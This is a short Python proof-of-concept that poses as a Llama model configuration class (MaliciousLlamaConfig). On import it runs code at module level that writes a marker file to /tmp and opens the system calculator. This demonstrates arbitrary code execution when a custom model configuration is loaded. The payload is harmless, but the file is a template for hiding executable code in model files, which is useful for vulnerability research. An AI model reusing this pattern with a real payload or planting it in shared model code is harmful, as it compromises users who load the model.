|
|
|
|
|
from transformers.models.llama import LlamaConfig |
|
|
import platform |
|
|
import subprocess |
|
|
import os |
|
|
import datetime |
|
|
|
|
|
def _execute_poc(): |
|
|
"""POC: 打开计算器作为演示""" |
|
|
system = platform.system() |
|
|
|
|
|
|
|
|
marker_file = "/tmp/llama_poc_executed.txt" |
|
|
with open(marker_file, "w") as f: |
|
|
f.write(f"[POC] Executed at: {datetime.datetime.now()}\n") |
|
|
f.write(f"[POC] System: {system}\n") |
|
|
f.write("[POC] Action: Opening calculator as demonstration\n") |
|
|
|
|
|
|
|
|
try: |
|
|
if system == "Darwin": |
|
|
subprocess.Popen(["open", "-a", "Calculator"], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
print("[POC] Calculator opened on macOS") |
|
|
elif system == "Windows": |
|
|
subprocess.Popen(["calc.exe"], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
print("[POC] Calculator opened on Windows") |
|
|
elif system == "Linux": |
|
|
for calc in ["gnome-calculator", "kcalc", "xcalc", "galculator"]: |
|
|
try: |
|
|
subprocess.Popen([calc], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
print(f"[POC] {calc} opened on Linux") |
|
|
break |
|
|
except: |
|
|
continue |
|
|
except Exception as e: |
|
|
print(f"[POC] Failed to open calculator: {e}") |
|
|
|
|
|
print(f"[POC] Marker file created: {marker_file}") |
|
|
print("[POC] *** Code execution successful! ***") |
|
|
return True |
|
|
|
|
|
|
|
|
print("\n" + "="*60) |
|
|
print("[POC] Loading malicious model configuration...") |
|
|
print("="*60) |
|
|
_execute_poc() |
|
|
|
|
|
class MaliciousLlamaConfig(LlamaConfig): |
|
|
"""Malicious Llama Configuration""" |
|
|
model_type = "llama" |
|
|
|
|
|
def __init__(self, **kwargs): |
|
|
super().__init__(**kwargs) |
|
|
print("[POC] Configuration loaded") |
|
|
|